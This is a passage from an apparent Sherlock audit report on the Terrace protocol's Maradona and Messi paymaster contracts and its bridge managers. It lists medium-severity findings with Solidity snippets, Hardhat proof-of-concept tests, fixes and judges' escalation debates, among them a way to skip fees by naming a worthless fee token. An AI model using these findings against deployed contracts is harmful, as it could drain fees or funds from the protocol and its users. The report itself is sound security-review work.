Then run `make tests/Maradona` and `make tests/Messi`, the tests will fail with the following logs:

```
Maradona
  1 failing
```


```
  1) Maradona
       Trade execution
         From ETH to token
           Should allow to make a single hop trade and charge 5 bps in token:
     Error: VM Exception while processing transaction: reverted with reason
     ↪  string 'ERC20: Zero value on transfer'
```

```
Messi
  11 failing

  1) Messi
       Trade execution
         From token to ETH
           Should allow to make a single hop trade:
     Error: VM Exception while processing transaction: reverted with reason
     ↪  string 'ERC20: Zero value on transfer'
```

All of the failed tests have the exact reason string as `ERC20: Zero value on transfer`

Note that they all revert with the exact provided "ERC20: Zero value on transfer" reasoning, proving that zero transfer is indeed the problem.

Impact

Incompatibility with revert-on-zero-transfer, breaking invariant of the protocol

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L263

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L192

May affect any other occurences of `safeTransfer`

Tool used

Manual Review

Recommendation

Check the transfer amount before each transfer call (don't perform the transfer if the amount is zero)

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/10

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-8: `Maradona`: Excess `msg.value` not refunded to the user

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/31

The protocol has acknowledged this issue.

Found by

PUSH0

Summary

In `Maradona.takeTokensAndTrade()`, excess `msg.value` is not refunded to the user, which may leave some Ethers stuck in the contract.

Vulnerability Detail

In `Maradona.takeTokensAndTrade()`, excess `msg.value` is not refunded to the user. If the output token is not ETH, the contract will send the user the entire balance of the output token only, but not ETH.

Per the contest README:

> We need to monitor specially that there is no set of inputs that allows a transaction to succeed if the balance of the contracts involved in after the transaction is greater than before the transaction. This means that we want that always balance before trading is equal to balance after trading for all contracts for all tokens.

Per the Sherlock judging rule version for this contest:

> The protocol team can use the README (and only the README) to define language that indicates the codebase's restrictions and/or expected functionality. Issues that break these statements, irrespective of whether the impact is low/unknown, will be assigned Medium severity.

Thus, this issue breaks an invariant defined by the protocol

Proof of concept

In the file `Maradona.test.ts`, modify line 537 to the following:

```
{
    value: value + value // @audit just add "+ value"
}
```

Which will make the tx sends twice the amount of Ethers required.

Running the test with `make tests/Maradona` gives the following failed test:

Which shows that the tx does indeed go through, and the assertion at line 543 shows that ETH indeed remains in the contract

Impact

Breaks invariant defined by the protocol, funds may remain in the contract

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L286

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L483-L498

Tool used

Manual Review

Recommendation

After all operations have succeeded, refund the contract's entire ETH balance back to `msg.sender`

Discussion

ctf-sec

Escalate

user mistake to send excessive ETH,

all issue such as excessive ETH is clearly low severity in sherlock judging history.

sherlock-admin3

> Escalate
>
> user mistake to send excessive ETH,
>
> all issue such as excessive ETH is clearly low severity in sherlock judging history.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

midori-fuse

I understand and would like to assure that I share your view on this. I didn't provide a comment here because it's my own issue, and a comment wouldn't cater to any audience. However since there was an escalation, I am sharing my judgement and my view here. Brace yourselves because this was a long ride.

First of all, for the reason why this issue must stay valid.

As the submission states, the contest README states:

> We need to monitor specially that there is no set of inputs that allows a transaction to succeed if the balance of the contracts involved in after the transaction is greater than before the transaction.

And the rule version for this contest states:

> Issues that break these statements, irrespective of whether the impact is low/unknown, will be assigned Medium severity.

Let us also remind ourselves that historical decisions are not considered sources of truth.

The function is payable, and therefore `msg.value` is a user-defined parameter, which is part of the set of inputs. Then excess ETH sent as part of the calldata is an input that can leave funds in the contract.

- Note that "directly sending ETH", although is the same by nature, is not valid because that is considered an airdrop/direct funds transfer, which is already covered in the README.

The README also states the trust assumption about each role. Because the user is not trusted, self-destructive behavior is in-scope, and for as long as it is dependent on a self-destructive user input (and for as long as the submission identifies the fund-stuck impact), issue stays valid.

Secondly, for my personal view on this issue.

Let me first assure you that I didn't like this issue as much as you do. During judging, I went out of my way to try and define what a "set of input" is, and made efforts to invalidate this.

I then consulted with the Sherlock judge, who does a great job by going out of their way (kudos to Wang) by consulting with the sponsor again, and this is indeed what

they mean. Therefore this issue has provided value to the sponsor, and even irrespective of that, the rules has states this is valid.

A purely self-destructive user mistake issue should never be a valid issue, I understand. But for what the rules state, this issue and #76 remains valid despite having no other damage than self-destruct.

Finally, let me share my full view on how I handle the judging for this contest on purely self-destructive inputs that leaves funds in the contract:

- The issue must be applicable to Maradona, because of its permissionless nature. It does not apply to Messi because it is trusted-permissioned. Because it should be assumed that trusted roles never make input mistakes, they would never make erroneous inputs, and so such inputs are not valid "inputs" because they will never be made.
  - This part, too, has been consulted with the Sherlock judge before judgement.
- The issue must be able to identify the impact, that is they must be able to tell that funds remain stuck in the contract, or their PoC must end with/must show that funds are stuck in the contract.
- Other Sherlock criterias apply.

Staying with my view, I am validating this because that's what I, as a judge, must do.

#76 and this issue has to share the same judgement, because they:

- Have the same impact
- Have the same nature of insufficient input validation
- Both arise from a user mistake

Other than that, I am fine with either outcome of the escalation. I will not attempt to defend this issue, but from my understanding of the rule, it remains valid.

Any further discussion from this point should be around the rules and not around the issue. The issue's technical impacts has been made crystal clear.

WangSecurity

I agree that in a normal situation, it would be deemed invalid due to a user mistake. But, as the Lead Judge, correctly said, the sponsor mentioned in the README, that they want the balance of the contract before and after the trade to be always equal. As the rules say, if the sponsor's statement is broken, it's assigned Medium severity regardless of the impact being low/unknown. Hence, I believe this issue should remain valid.

Planning to reject the escalation and leave the issue as it is.

WangSecurity

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- ctf-sec: rejected

Issue M-9: Bridging without any swap ops is fee free in Maradona

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/36

Found by

Kow

Summary

Bridging without any swap ops is fee free in Maradona

Vulnerability Detail

When we only have a bridge op in `Maradona::takeTokensAndTrade`, `computableFeeAmount` is zero since `swapOps.length == 0`. https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L304-L311

```
uint256 computableFeeAmount = 0;
for(uint256 i = 0; i < swapOps.length; i++ ){
    OperationParameters memory op = swapOps[i];
    if(op.useContractFunds) {
        break;
    }
    computableFeeAmount += op.amountIn;
}
```

Consequently, attempting to charge a fee the first time will succeed since the fee amounts will be zero (the fee amounts charged are the `adjusted` variables in the snippet below). https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L233-L246

```
uint256 txFeeBps = feePerUserTrade[msg.sender].isSet ?
↪   feePerUserTrade[msg.sender].fee : minDefaultFeeUser;
uint256 minTerraceFeeBps = feePerUserTerrace[msg.sender].isSet
    ? feePerUserTerrace[msg.sender].fee
    : minDefaultFeeTerrace;

uint256 feeValueForFeeReceiver = (amount * feeRateBps) / 10000;
uint256 feeValueForTerrace = (feeValueForFeeReceiver * txFeeBps) / 10000;
uint256 minFeeValueForTerrace = (amount * minTerraceFeeBps) / 10000;
uint256 adjustedFeeValueForTerrace = feeValueForTerrace > minFeeValueForTerrace
```

```
    ? feeValueForTerrace
    : minFeeValueForTerrace;
uint256 adjustedFeeValueForFeeReceiver = feeValueForTerrace >
↪   minFeeValueForTerrace
    ? feeValueForFeeReceiver - feeValueForTerrace
    : feeValueForFeeReceiver;
```

No fee is transferred out since the fee amounts are zero and the second attempt to charging fees is skipped since the first attempt already succeeded.
https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L436-L437

```
if (!succeeded) {
    (succeeded, ) = tryToChargeFees(
```

Impact

Protocol loses expected fees from use of its contracts.

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L304-L311

Tool used

Manual Review

Recommendation

Only attempt to charge fees the first time if swap ops exist. When calculating the amount to charge fees on the second time, if only bridging, calculate based on the contract balance (subtracting the bridge fee if bridging ETH).

Discussion

midori-fuse

Not sure if this is an issue or a protocol design. Will flag for sponsor review.

midori-fuse

After some consideration, I am going to assign this issue Medium.

The contract is designed to charge a fee on the input or the output amount. In Messi, if there is either a claim or a swap operation, then the fee is charged. In

Maradona, you can't do claim operations, but swap operations still apply. There is no reason to think that single bridge operations are suddenly free. Furthermore, the contract logic is quite clear that fee charging will be attempted on the input and the output (the latter attempted if the former is unsuccessful). If there is suddenly a fee-waivering case of a single bridge operation, then this is an edge case, which I believe this should've been explicitly defined in the contract logic/documentation/any applicable resources.

However, even if fee is bypassed/free, the issue restricts the applicable set of inputs to just single bridging operations, which is kind of a niche use-case for this contract since any non-technical user should still be able to bridge directly. Nevertheless, one can't deny that this is a valid use-case.

Hence, I believe Medium severity is appropriate.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/25

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-10: Round-off errors during `ratioBPs` splits will cause dust amount to remain in the contract

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/44

The protocol has acknowledged this issue.

Found by

PUSH0

Summary

Per the contest README:

> We need to monitor specially that there is no set of inputs that allows a transaction to succeed if the balance of the contracts involved in after the transaction is greater than before the transaction. This means that we want that always balance before trading is equal to balance after trading for all contracts for all tokens.

Per the Sherlock judging rule version for this contest:

> The protocol team can use the README (and only the README) to define language that indicates the codebase's restrictions and/or expected functionality. Issues that break these statements, irrespective of whether the impact is low/unknown, will be assigned Medium severity.

We show that for multi-hop trades with valid inputs, the `ratioBPS` round-off errors for realistic UniV2/UniV3/Balancer swaps will almost always leave the contract with some dust amounts of middle tokens.

Vulnerability Detail

The contract `Maradona` (and `Messi` but permissioned) allows performing multi-hop trades, where each hop can be split across multiple markets with different ratio. From the second hop onwards, the operation's `amountIn` is overriden by the previous hop's output, multiplied by the ratio intended for this particular swap market.

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L389

```
if (op.useContractFunds) {
    op.amountIn = (prevCumOutputAmount * ratioBPs) / 10000;
}
```

However, most (if not almost all) of the time, a swap on UniV2/UniV3/Balancer does not return an amount out perfectly divisible by 10000, which causes truncation of at most 0.9999 wei in the above division. If the hop contains two or more swaps, the truncation will total to 1 wei or more that remains in the contract, scaled by the number of operations for that hop.

Because the `amountIn` is always calculated that way, and the round-off amounts are never swept, the round-off amounts remains in the contract.

Proof of concept

Consider the following trade:

- Op1: ETH ---> WBTC, ratioBPs = 10000, market = Uniswap V2
  - This is the first hop, and trades perfectly normal
- Op2: WBTC ---> USDC, ratioBPs = 6666, market = Uniswap V3
- Op3: WBTC ---> USDC, ratioBPs = 3334, market = Balancer
  - These two represents the second hop, with two-thirds routed through UniV3, and a third routed towards Balancer

For as long as operation 1 does not return an amount of WBTC perfectly divisible by 10000 (which is almost always the case), there will be some round-off errors in each of operation 2 and 3, resulting in WBTC remainings in the contract.

Coded PoC

We provide a coded PoC to prove that dust amounts will stay in the contract, for a non-perfectly-round output multihop trades

First, modify line 64-65 of `MockMarketSpecifyRate` to following:

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/mock/MockMarketSpecifyRate.sol#L65

```
// @audit The exact current ETH/BTC spot exchange rate
uint256 amountOut = amountIn*378909/68078010000000000;
```

Then, paste the following test into `Maradona.test.ts`. The test sets up a trade:

- Hop 1: 1 ETH to WBTC
- Hop 2: The output WBTC, split into 66.66% and 33.34%, to a market with 1:1 exchange rate

```
it.only("PUSH0 PoC - round off ratioBPs leaves funds", async function () {
    // Load fixture elements
```

```
    const {signers, maradona, mockMarkets, mockTokens} = await
↪   loadFixture(deployFixture);

    // User stuff
    const owner = signers[0];
    const users = signers.slice(1);
    const sponsor = users[0];
    const traders = users.slice(1);
    const trader = traders[0];
    const traderAddress = trader.address.toLowerCase();

    // update sponsor
    await maradona.connect(owner).updateCollector(sponsor.address)

    // Token stuff
    const middleToken = mockTokens[0];
    const middleTokenAddress = middleToken.target.toString();

    const outputToken = mockTokens[1];
    const outputTokenAddress = outputToken.target.toString();

    // Op Params
    const value = ethers.parseEther("1");
    const opParams: OperationParametersStruct[] = [getEmptyOpParams(),
↪   getEmptyOpParams(), getEmptyOpParams()];

    // first hop
    opParams[0].inputToken = ethers.ZeroAddress
    opParams[0].outputToken = middleTokenAddress
    opParams[0].ratioBPs = toBigInt(10000)
    opParams[0].amountIn = value.toString()
    opParams[0].exchangeID = 3

    // second hop, 66.66%
    opParams[1].inputToken = middleTokenAddress
    opParams[1].outputToken = outputTokenAddress
    opParams[1].ratioBPs = toBigInt(6666)
    opParams[1].useContractFunds = true
    opParams[1].exchangeID = 1

    // second hop, 33.34%
    opParams[2].inputToken = middleTokenAddress
    opParams[2].outputToken = outputTokenAddress
    opParams[2].ratioBPs = toBigInt(3334)
    opParams[2].useContractFunds = true
    opParams[2].exchangeID = 1
```

```
    // asserts all initial balances are zero
    expect(await
↪   ethers.provider.getBalance(maradona.target)).to.be.equal(toBigInt(0))
    expect(await middleToken.balanceOf(maradona.target)).to.be.equal(toBigInt(0))
    expect(await outputToken.balanceOf(maradona.target)).to.be.equal(toBigInt(0))

    // now trade
    const tx = await maradona.connect(trader).takeTokensAndTrade(
        opParams,
        "0",
        owner.address,
        traderAddress,
        ethers.ZeroAddress,
        {
        value: value,
        }
    )
    const rx = await tx.wait();

    // assert that the middle token's balance is greater than zero
    expect(await
↪   ethers.provider.getBalance(maradona.target)).to.be.equal(toBigInt(0))
    expect(await
↪   middleToken.balanceOf(maradona.target)).to.be.greaterThan(toBigInt(0))
    expect(await outputToken.balanceOf(maradona.target)).to.be.equal(toBigInt(0))

    // log it out
    console.log("Output token balance of trader:", await
↪   outputToken.balanceOf(traderAddress))
    console.log("Middle token balance of Maradona:", await
↪   middleToken.balanceOf(maradona.target))
});
```

Run the test with `make tests/Maradona`, and the test will give a log:

Proving that indeed 1 wei gets stuck in the contract. A round-off amount of $N - 1$ wei can be achieved for each hop that requires N swaps.

Impact

- Breaks invariant defined by the protocol, that the contract should not hold any balance after trades
  - Specifically, Gemini USD has only 2 decimals. Therefore any precision loss may be material if accumulated.

Code Snippet

Maradona: https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L390

Messi: https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L615

Tool used

Manual Review

Recommendation

As soon as the `ratioBPs` reaches 10000, `op.amountIn` should be set to the remaining amount:

```
if (op.useContractFunds) {
    op.amountIn = (prevCumOutputAmount * ratioBPs) / 10000;
    if (cumRatio + ratioBPs == 10000) {
        op.amountIn = prevCumOutputAmount - cumOutputAmount;
    }
}
```

Discussion

spacegliderrrr

Escalate

Only a few wei are left within the contract. I don't believe this justifies Medium severity.

sherlock-admin3

> Escalate
>
> Only a few wei are left within the contract. I don't believe this justifies Medium severity.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

midori-fuse

I agree on the impact but disagree on the judgement. I don't like this issue as much as you do, but it's valid according to the rules.

WangSecurity

I agree that only a small amount is left, but the team specified that they want the balance of the contract before and after the trade to be equal. As per the rules, if the statement is mentioned by the sponsor in the README and it's broken, then it's Medium severity regardless of risk being low/unknown.

Planning to reject the escalation and leave the issue as it is.

midori-fuse

A slight note that the expression `op.amountIn = prevCumOutputAmount - cumOutputAmount` isn't the correct fix. `cumOutputAmount` in the given expression should be replaced with something that means "total input used so far"

WangSecurity

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- spacegliderrrr: rejected

Issue M-11: It is impossible to bridge USDC via `CCTPManager` after swapping if the fee token is USDC due to over-restrictive validation

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/45

Found by

Kow

Summary

Attempts to bridge USDC after swapping via `CCTPManager` will revert if the fee token is USDC.

Vulnerability Detail

At the start of `takeTokensAndTrade` for both paymaster contracts, we validate that the fee token is either the input token of the first operation or the output token of the last operation (for `Maradona`, we check for ETH since the input is always ETH). https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L89-L91

```
function validateFeeToken(address feeTokenAddress, OperationParameters[] memory
↪   ops) internal pure returns (bool) {
    return (feeTokenAddress == ops[0].inputToken || feeTokenAddress ==
↪   ops[ops.length - 1].outputToken);
}
```

If we're bridging USDC after swapping to USDC tokens and the fee token is USDC, the output token of the bridge op must be USDC due to this check since the bridge op is always last (implies we're paying fees with the output USDC). If we're using `CCTPManager`, the issue is the output token must be `address(0)`. https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/CCTP/CCTPManager.sol#L109

```
require(opParams.outputToken == address(0), "CCTPManager: invalid output token");
```

This contradicts the necessity of setting the output token to USDC to satisfy the original validation against the fee token.

Impact

It is impossible to bridge USDC after swapping via `CCTPManager` if the fee token is USDC due to over-restrictive validation of `outputToken` in `CCTPManager`.

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L89-L91
https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/CCTP/CCTPManager.sol#L109

Tool used

Manual Review

Recommendation

Remove the check on `outputToken` in `CCTPManager`.

Discussion

midori-fuse

Good catch

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/6

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-12: Messi paymaster should approve to zero first

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/47

Found by

Kow, PUSH0, bin2chen

Summary

Some tokens like USDT revert in case the prior approval is non zero.

The messi paymaster approves tokens twice to bridge, which will lead to a revert in case a user tries to bridge tokens like USDT

In addition to this the first approve does not include fees, and on its own is incorrect.

Vulnerability Detail

The messi paymaster approves tokens first in line 420:

```
tokenToBridge.approve(markets[bridgeOp.exchangeID], bridgeOp.amountIn);
```

After this messi tries to approve tokens again in line 520:

```
tokenToBridge.approve(markets[bridgeOp.exchangeID], bridgeOp.amountIn);
```

The second approve is made in case the fee token should be bridged, and fees are deducted.

As we can see we try to approve tokens twice without approving to zero first, which will lead to an revert.

POC

Add following code to MockERC20.sol:

```
   function approve(address spender, uint256 amount) public virtual override
↪   returns (bool) {
    if (allowance(msg.sender,spender) != 0) {
        require(amount == 0, "USDT reverts here");
    }
    super.approve(spender,amount);
}
```

(simulation of USDT)

Run messi tests again and see both bridge tests using tokens revert for reason: "USDT reverts here".

Impact

Messi paymaster cant bridge tokens like USDT which revert on non zero approval.

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L420
https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L520

Tool used

Manual Review

Recommendation

Remove the first approve, it does not include fees so it is incorrect. A more secure way is to develop a helper lib contract, that just always approves to zero first before approve. This will avoid all future issues regarding this problem.

Discussion

midori-fuse

#72 identifies another instance on this on Stargate Manager

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/20

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-13: `minAmountOut` check must be done after charging the fees

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/49

Found by

bughuntoor

Summary

`minAmountOut` check must be done after charging the fees

Vulnerability Detail

Currently, in case the fees are charged from the last output token, first the `minAmountOut` check is done and then the fees are deducted.

```
require(lastOutBalance - prevLastOutBalance >= minAmountOut, "Maradona: last
↪  output amount is less than minAmountOut");
// End of (2)

// (3) We try again to charge fees
if (!succeeded) {
    (succeeded, ) = tryToChargeFees(
        feesTokenAddress,
        lastOutBalance,
        feeRateBps,
        feeReceiver,
        receivingUser,
        true,
        succeeded
    );
}
```

This would cause users to receive less funds than what they've said as `minAmountOut` and ultimately break a core invariant.

Note: this is only the case where fee is taken from the output token. In case it's taken from ETH (input token), everything works as expected.

Impact

Users receiving less than the minimum they've specified

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L437

Tool used

Manual Review

Recommendation

put the `minAmountOut` check after charging the fees

Discussion

midori-fuse

Not sure if design choice or an issue. Will flag for sponsor review due to the pointed inconsistency in standard definition.

midori-fuse

I will leave this as valid for the following reasons:

- `minAmountOut` is commonly defined everywhere as the minimum amount of tokens to be received for the user.
- The inherited interface suggests the same.

Because this report correctly points out that there is an inconsistency between the definition and the actual behavior of the contract, but also because the damage is not guaranteed to any degree (e.g. the actual damage requires that the returned amount out has to be very close to the `minAmountOut`, which is MEV-dependent, and in turn, is dependent on, e.g. user's slippage setting, the deployment chain, or whether flashbots are used), I am judging this to be Medium severity.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/23

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-14: Usage of `transfer` to send eth might silently fail

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/53

The protocol has acknowledged this issue.

Found by

bughuntoor

Summary

Usage of `transfer` to send eth might silently fail

Vulnerability Detail

Within the contracts, `transfer` is used to send eth. This is a problem as `transfer` limits gas consumption to 2300 gas. If the receiving address has a fallback/ receive function which consumes more than 2300 gas, it would cause the transfer to silently fail and the eth will remain within the Maradona contract.

```
payable(receivingUser).transfer(address(this).balance);
```

Note that if eth is left within the contract it can be skimmed by anyone

Impact

Loss of funds.

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L489

Tool used

Manual Review

Recommendation

use `.call` and check return value

Discussion

midori-fuse

Per the Sherlock rules, part VII, item 10:

> Issues assuming future opcode gas repricing are not considered to be of Medium/High severity. **Use of call vs transfer** will be considered as a protocol design choice if there is no good reason why the call may consume more than 2300 gas without opcode repricings.

spacegliderrrr

Escalate

Issue should be valid as it breaks protocol invariant - "No funds should be left within the contract at the end of the transaction". If the user has (for whatever reason) implemented a `receive`/`fallback` function which consumes more than 2300 gas, the funds will be left within the contract, breaking this invariant. Issue should be valid Medium

sherlock-admin3

> Escalate
>
> Issue should be valid as it breaks protocol invariant - "No funds should be left within the contract at the end of the transaction". If the user has (for whatever reason) implemented a `receive`/`fallback` function which consumes more than 2300 gas, the funds will be left within the contract, breaking this invariant. Issue should be valid Medium

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

midori-fuse

I agree with the escalation. This one on me.

I somehow thought it would revert here, I don't remember where I got this impression. But the submission is correct and describes (alongside explicitly mentioning) a case where ETH remains in the contract.

WangSecurity

Agree with the escalation and plan to accept it and validate the report with medium severity. Are there any duplicates of it?

midori-fuse

I don't think there are any. For invalid/excluded issues I still sort duplicates during initial judging.

WangSecurity

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- spacegliderrrr: accepted

Issue M-15: Swap will unnecessarily revert in some cases if initial `ETH -> token` swap is split into multiple `swapOps`

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/57

The protocol has acknowledged this issue.

Found by

bughuntoor

Summary

Swap will unnecessarily revert in some cases if initial `ETH -> token` swap is split into multiple `swapOps`

Vulnerability Detail

In the case where fee is charged in ETH, it is charger before the `swapOps`. The problem is that the swap `eth -> token` could be split into multiple `swapOps` (e.g. due to using different exchanges for better prices). However, the fee is always attempted to be deducted from the first `swapOps`. In the case where the first `swapOp` is of less value, it may cause a revert due to underflow.

```
(succeeded, feesCharged) = tryToChargeFees(
    feesTokenAddress,
    computableFeeAmount, // @audit - fees are charged based on
↪   computableFeeAmount
    feeRateBps,
    feeReceiver,
    receivingUser,
    false,
    false
);
if (succeeded) {
    if (swapOps.length > 0) {
        require(swapOps[0].amountIn > feesCharged, "Maradona: cannot substract
↪   fee from input swap");
        swapOps[0].amountIn -= feesCharged; // @audit - all fees are attempted
↪   to be deducted from the first swapOp
```

Impact

DoS

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L328

Tool used

Manual Review

Recommendation

Charge the fees from multiple swapOps if necessary

Discussion

midori-fuse

Nice catch.

midori-fuse

To be honest after giving this one a bit more thought, I don't think this is an issue.

The issue only manifest in case the first split in the first hop is extremely small (smaller than the charged fee), which will cause a revert due to an underflow.

However, suppose that this issue is actually fixed, then we effectively end up with some splits with a zero input amount. Then it will revert in the swapping step anyway, due to `amountIn` is now zero, and there are checks against that. See #62 for similar invalidation reason.

- Even if zero `amountIn` is allowed, then it is equivalent to swapping zero amount, which really has no effect. Not to mention external protocols may have checks against a zero input amount anyway.

Then it's arguably better to actually validate the first hop only.

So I now think this is a non-issue. However since this is past escalation period, I won't push to invalidate this or keep it as is, but I think making clear of the facts is never a bad thing.

Issue M-16: getBridgeFee() may can't work properly

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/64

Found by

bin2chen

Summary

in `StargateManager.getBridgeFee()` The parameter used is not the same as the actual execution of `swap()`, resulting in incorrect execution.

Vulnerability Detail

We use `getBridgeFee()` to get the cost of executing `swapRouter.swap()`.

```
    function getBridgeFee(OperationParameters calldata opParams) external view
↪   override returns (uint256) {
        (uint256 gasToSend, ) = swapRouter.quoteLayerZeroFee(
            uint16(opParams.extraUInts[1]),
            1, // swap function type,
@>          abi.encode(opParams.extraAddresses[0]), // payload
@>          "0x", // payload, using abi.encode()
            IStargateRouter.lzTxObj({
                dstGasForCall: 0, // extra gas, if calling smart contract,
                dstNativeAmount: 0, // amount of dust dropped in destination
↪   wallet
@>              dstNativeAddr: abi.encode(opParams.extraAddresses[1]) //
↪   destination wallet for dust
            })
        );

        // the message fee is the first value in the tuple.

        return gasToSend;
}
```

The above is different from executing `swapRouter.swap()` in a couple of ways

1. _toAddress = abi.encode(opParams.extraAddresses[0])
    - `swap()` use `abi.encodePacked(recipientAddress)`; length difference `12`
2. payload = “0x”
    - `swap()` use bytes(“”) , length difference `2`

3. dstNativeAddr: abi.encode(opParams.extraAddresses[1]) , -> extraAddresses[1] unused, may out-of-bounds

Impact

getBridgeFee() may revert out-of-bounds can't work properly or returns the wrong fees causing `swapRouter.swap()` to not work properly

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Stargate/StargateManager.sol#L130

Tool used

Manual Review

Recommendation

```
    function getBridgeFee(OperationParameters calldata opParams) external view
↪   override returns (uint256) {
        (uint256 gasToSend, ) = swapRouter.quoteLayerZeroFee(
            uint16(opParams.extraUInts[1]),
            1, // swap function type,
-           abi.encode(opParams.extraAddresses[0]), // payload
+           abi.encodePacked(opParams.extraAddresses[0]), // payload
-           "0x", // payload, using abi.encode()
+           "", // payload, using abi.encode()
            IStargateRouter.lzTxObj({
                dstGasForCall: 0, // extra gas, if calling smart contract,
                dstNativeAmount: 0, // amount of dust dropped in destination
↪   wallet
-               dstNativeAddr: abi.encode(opParams.extraAddresses[1]) //
↪   destination wallet for dust
+               dstNativeAddr: "0x") // destination wallet for dust
            })
        );

        // the message fee is the first value in the tuple.

        return gasToSend;
}
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/19

sherlock-admin2

The Lead Senior Watson signed off on the fix.

bin2chen66

Other comments this pr `getBridgeFee()` was not fully modified It has been reworked in this pr https://github.com/subdialia/smart-contracts-audit-v1/pull/26

Issue M-17: StargateManager.bridge() when isFromEth , miss check outputToken

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/65

The protocol has acknowledged this issue.

Found by

bin2chen

Summary

in `StargateManager.bridge()` when isFromEth , miss check outputToken The user can arbitrarily specify `feesTokenAddress == bridgeOp.outputToken == MockToken(valueless)` to avoid fees

Vulnerability Detail

in `validateFeeToken()` The user-specified `feesTokenAddress` can be either `ops[0].inputToken` or `bridgeOp.outputToken` So we need to check the validity of `bridgeOp.outputToken` Example: `CCTPManager.bridge()`

```
    function bridge(OperationParameters calldata opParams) external payable
↪   override {
...
            require(destination != 0, "CCTPManager: invalid destination");

            address tokenAddress = opParams.inputToken;
            require(tokenAddress != address(0), "CCTPManager: invalid token
↪   address");
@>          require(opParams.outputToken == address(0), "CCTPManager: invalid
↪   output token");
```

`StargateManager.bridge()` check the following

```
   function bridge(OperationParameters calldata opParams) external payable
↪   override {

       bool isFromEth = opParams.inputToken == address(0);

       uint16 destination = uint16(opParams.extraUInts[1]);
       require(destination != 0, "StargateManager: invalid destination");
```

```
        uint256 operation = opParams.extraUInts[0];
        require(operation == uint256(BridgeLib.OperationType.BRIDGE),
↪   "StargateManager: only bridge is allowed");

        address payable refundAddress = payable(address(this));

        address recipientAddress = opParams.extraAddresses[0];
        require(recipientAddress != address(0), "StargateManager: invalid
↪   recipient address");
        bytes memory to = abi.encodePacked(recipientAddress);
        require(to.length > 0, "StargateManager: invalid to address");

        uint256 amountIn = opParams.amountIn;
